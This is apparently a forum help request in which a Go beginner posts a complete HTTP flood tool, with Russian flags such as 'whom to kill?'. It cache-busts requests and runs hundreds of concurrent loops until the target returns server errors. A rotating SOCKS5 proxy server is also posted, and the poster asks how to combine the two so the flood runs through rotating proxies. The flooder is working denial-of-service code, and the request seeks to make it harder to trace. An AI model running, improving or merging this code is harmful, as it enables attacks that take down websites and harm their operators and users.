im only start to learn Golang tell me please how i Can improve socks5 proxy for this script?
package main
import (
"flag"
"fmt"
"io/ioutil"
"math/rand"
"net/http"
"net/url"
"os"
"os/signal"
"strconv"
"strings"
"sync/atomic"
"syscall"
)
const acceptCharset = "ISO-8859-1,utf-8;q=0.7,*;q=0.7"
const (
callGotOk uint8 = iota
callExitOnErr
callExitOnTooManyFiles
targetComplete
)
// global params
var (
safe bool = false
headersReferers []string = []string{
"http://www.google.com/?q=",
}
headersUseragents []string = []string{
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.67 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv",
}
cur int32
)
type arrayFlags []string
func (i *arrayFlags) String() string {
return "[" + strings.Join(*i, ",") + "]"
}
func (i *arrayFlags) Set(value string) error {
*i = append(*i, value)
return nil
}
func main() {
var (
site string
agents string
data string
headers arrayFlags
)
flag.BoolVar(&safe, "safe", false, "Автозакрытие после атаки")
flag.StringVar(&site, "site", "", "Кого килить?")
flag.StringVar(&agents, "agents", "", "Получить список строк пользовательского агента из файла.")
flag.StringVar(&data, "data", "", "Данные для POST. Если присутствует, скрипт будет использовать POST-запросы вместо GET.")
flag.Var(&headers, "header", "Добавьте заголовки к запросу. Можно использовать несколько раз")
flag.Parse()
t := os.Getenv("")
maxproc, err := strconv.Atoi(t)
if err != nil {
maxproc = 1023
}
u, err := url.Parse(site)
if err != nil {
fmt.Println("err parsing url parameter\n")
os.Exit(1)
}
if agents != "" {
if data, err := ioutil.ReadFile(agents); err == nil {
headersUseragents = []string{}
for _, a := range strings.Split(string(data), "\n") {
if strings.TrimSpace(a) == "" {
continue
}
headersUseragents = append(headersUseragents, a)
}
} else {
fmt.Printf("Cant load %s\n", agents)
os.Exit(1)
}
}
go func() {
fmt.Println("-- Go-Go-Go --\n Go!\n\n")
ss := make(chan uint8, 8)
var (
err, sent int32
)
fmt.Println("In use |\tResp OK |\tGot err")
for {
if atomic.LoadInt32(&cur) < int32(maxproc-1) {
go httpcall(site, u.Host, data, headers, ss)
}
if sent%10 == 0 {
fmt.Printf("\r%6d of max %-6d |\t%7d |\t%6d", cur, maxproc, sent, err)
}
switch <-ss {
case callExitOnErr:
atomic.AddInt32(&cur, -1)
err++
case callExitOnTooManyFiles:
atomic.AddInt32(&cur, -1)
maxproc--
case callGotOk:
sent++
case targetComplete:
sent++
fmt.Printf("\r%-6d of max %-6d |\t%7d |\t%6d", cur, maxproc, sent, err)
fmt.Println("\r-- Finished -- \n\n\r")
os.Exit(0)
}
}
}()
ctlc := make(chan os.Signal)
signal.Notify(ctlc, syscall.SIGINT, syscall.SIGKILL, syscall.SIGTERM)
<-ctlc
fmt.Println("\r\n-- self stoped -- \n")
}
func httpcall(url string, host string, data string, headers arrayFlags, s chan uint8) {
atomic.AddInt32(&cur, 1)
var param_joiner string
var client = new(http.Client)
if strings.ContainsRune(url, '?') {
param_joiner = "&"
} else {
param_joiner = "?"
}
for {
var q *http.Request
var err error
if data == "" {
q, err = http.NewRequest("GET", url+param_joiner+buildblock(rand.Intn(7)+3)+"="+buildblock(rand.Intn(7)+3), nil)
} else {
q, err = http.NewRequest("POST", url, strings.NewReader(data))
}
if err != nil {
s <- callExitOnErr
return
}
q.Header.Set("User-Agent", headersUseragents[rand.Intn(len(headersUseragents))])
q.Header.Set("Cache-Control", "no-cache")
q.Header.Set("Accept-Charset", acceptCharset)
q.Header.Set("Referer", headersReferers[rand.Intn(len(headersReferers))]+buildblock(rand.Intn(5)+5))
q.Header.Set("Keep-Alive", strconv.Itoa(rand.Intn(10)+100))
q.Header.Set("Connection", "keep-alive")
q.Header.Set("Host", host)
// Overwrite headers with parameters
for _, element := range headers {
words := strings.Split(element, ":")
q.Header.Set(strings.TrimSpace(words[0]), strings.TrimSpace(words[1]))
}
r, e := client.Do(q)
if e != nil {
fmt.Fprintln(os.Stderr, e.Error())
if strings.Contains(e.Error(), "socket: many files") {
s <- callExitOnTooManyFiles
return
}
s <- callExitOnErr
return
}
r.Body.Close()
s <- callGotOk
if safe {
if r.StatusCode >= 500 {
s <- targetComplete
}
}
}
}
func buildblock(size int) (s string) {
var a []rune
for i := 0; i < size; i++ {
a = append(a, rune(rand.Intn(25)+65))
}
return string(a)
}
This is the flooder And I found socks proxy code like this. As i understand i need to put parameters to work ,but nothing works for me. All dependencies are on the board,but nothing work
package main
import (
"container/ring"
"errors"
"flag"
"fmt"
"github.com/armon/go-socks5"
"github.com/peterbourgon/ff"
"golang.org/x/net/context"
"golang.org/x/net/proxy"
"io/ioutil"
"net"
"net/http"
"os"
"strings"
"time"
)
var ProxyListURL string
var ProxyRing *ring.Ring
var UserPassword string
func getSocks5Proxy() ([]string, error) {
resp, err := http.Get(ProxyListURL)
if err != nil {
return nil, err
}
if resp.StatusCode != 200 {
return nil, errors.New(fmt.Sprintf("response status code is not 200: %d", resp.StatusCode))
}
defer resp.Body.Close()
txtFile, err := ioutil.ReadAll(resp.Body)
if err != nil {
return nil, nil
}
proxiesUnique := make(map[string]bool)
for _, p := range strings.Split(string(txtFile), "\n") {
proxiesUnique[strings.TrimSpace(p)] = true
}
proxies := make([]string, 0)
for p := range proxiesUnique {
if p != "" {
proxies = append(proxies, p)
}
}
return proxies, nil
}
func loadProxyListEvery(period time.Duration) {
for {
ps, err := getSocks5Proxy()
if err != nil {
fmt.Println("Proxy list loading error:", err)
}
ProxyRing = ring.New(len(ps))
for _, p := range ps {
ProxyRing.Value = p
ProxyRing = ProxyRing.Next()
}
fmt.Println("Proxy list loaded. Count: ", len(ps))
time.Sleep(period)
}
}
func getProxy() string {
if ProxyRing.Len() == 0 {
return ""
}
nextProxy := ProxyRing.Value.(string)
ProxyRing = ProxyRing.Next()
return nextProxy
}
func getAuth() *proxy.Auth {
if UserPassword != "" {
up := strings.Split(UserPassword, ":")
return &proxy.Auth{User: up[0], Password: up[1]}
}
return nil
}
// Dial with socks5 server from proxy list
func dialOverSocks5(ctx context.Context, network, addr string) (net.Conn, error) {
proxyAddr := getProxy()
if proxyAddr == "" {
return nil, errors.New("proxy list is empty")
}
dialSocksProxy, err := proxy.SOCKS5("tcp", proxyAddr, getAuth(), proxy.Direct)
if err != nil {
return nil, err
}
return dialSocksProxy.Dial(network, addr)
}
func runProxyServer(addr string, port int, user string) error {
var conf *socks5.Config
if user != "" {
up := strings.Split(user, ":")
conf = &socks5.Config{Dial: dialOverSocks5, Credentials: socks5.StaticCredentials{up[0]: up[1]}}
} else {
conf = &socks5.Config{Dial: dialOverSocks5}
}
server, err := socks5.New(conf)
if err != nil {
panic(err)
}
return server.ListenAndServe("tcp", fmt.Sprintf("%s:%d", addr, port))
}
func main() {
var addr string
var port int
var period time.Duration
var localUserPassword string
fs := flag.NewFlagSet("2 level proxy server. Update proxy list every n seconds.", flag.ExitOnError)
fs.StringVar(&ProxyListURL, "url", "", "URL to proxy list. Prior then file.")
fs.StringVar(&localUserPassword, "u", "", "socks5 server incoming auth user:password")
fs.StringVar(&UserPassword, "ur", "", "socks5 servers outgoing auth user:password")
fs.StringVar(&addr, "a", "0.0.0.0", "listening ip")
fs.IntVar(&port, "p", 8181, "listening port")
fs.DurationVar(&period, "n", time.Hour*24, "update period in seconds")
err := ff.Parse(fs, os.Args[1:])
if err != nil {
panic(err)
}
if ProxyListURL == "" {
panic("Specify URL to proxy list!")
}
go loadProxyListEvery(period)
err = runProxyServer(addr, port, localUserPassword)
if err != nil {
panic(err)
}
}
I need that first code will working with the proxy ? But im trying and only what i have its only many errors like
# command-line-arguments
./first.go:139:14: undefined: ring
./first.go:146:18: undefined: localUserPassword
./first.go:148:18: undefined: addr
./first.go:149:15: undefined: port
./first.go:150:20: undefined: period
./first.go:168:24: undefined: period
./first.go:170:23: undefined: addr
./first.go:170:29: undefined: port
./first.go:170:35: undefined: localUserPassword
./first.go:242:24: undefined: ProxyListURL
./first.go:242:24: too many errors
every package installed ,but correctly don't work.i understand i have many errors but exactly could find the solution for to combine these two scripts in one Tell me please how i can combine these two scripts? Thank You and sorry for spending you time :-)